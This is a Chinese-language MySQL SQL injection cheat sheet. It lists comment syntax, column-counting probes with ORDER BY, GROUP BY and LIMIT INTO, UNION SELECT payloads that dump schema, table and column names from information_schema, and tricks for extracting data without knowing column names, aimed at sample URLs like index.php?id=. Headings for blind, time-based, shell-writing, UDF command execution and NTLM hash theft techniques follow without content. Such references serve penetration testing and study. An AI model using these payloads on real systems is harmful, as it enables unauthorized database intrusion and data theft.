MYSQL

注释符

# 
-- 注意这里有个空格
/* hello */
/*! hello */
/*!32302 10*/ MYSQL version 3.23.02

联合查询

得到列数
order by或group by
不断增加数字,直到得到报错响应
1' ORDER BY 1--+	#True
1' ORDER BY 2--+	#True
1' ORDER BY 3--+	#True
1' ORDER BY 4--+	#False - 只有三个列数

1' GROUP BY 1--+	#True
1' GROUP BY 2--+	#True
1' GROUP BY 3--+	#True
1' GROUP BY 4--+	#False - 只有三个列数
报错类型的union select
1' UNION SELECT @--+     
1' UNION SELECT @,@--+   
1' UNION SELECT @,@,@--+ 
报错类型的LIMIT INTO
注入点位于LIMIT后,查找列数
1' LIMIT 1,1 INTO @--+    
1' LIMIT 1,1 INTO @,@--+  
1' LIMIT 1,1 INTO @,@,@--+    #没报错 只有三个列数
information_schema 提取数据库
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
Mysql >=4.1没有information_schema
获取列数
?id=(1)and(SELECT * from db.users)=(1)
获取列名
?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
MySQL 5的方法
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
--#1060 - Duplicate column name 'id'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
-- #1060 - Duplicate column name 'name'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
不知道列名提取数据
select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;
http://url/index.php?id=1 order by 6
http://url/index.php?id=-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -
http://url/index.php?id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -

基于报错注入

盲注

substring

ORDER BY

REGEXP

MAKE_SET

LIKE

基于时间注入

一次性转储数据

当前查询

读取文件内容

写shell

截断

快速查询

MYSQL UDF 命令执行

OOB

DNSLOG

NTLM 哈希窃取

最后更新于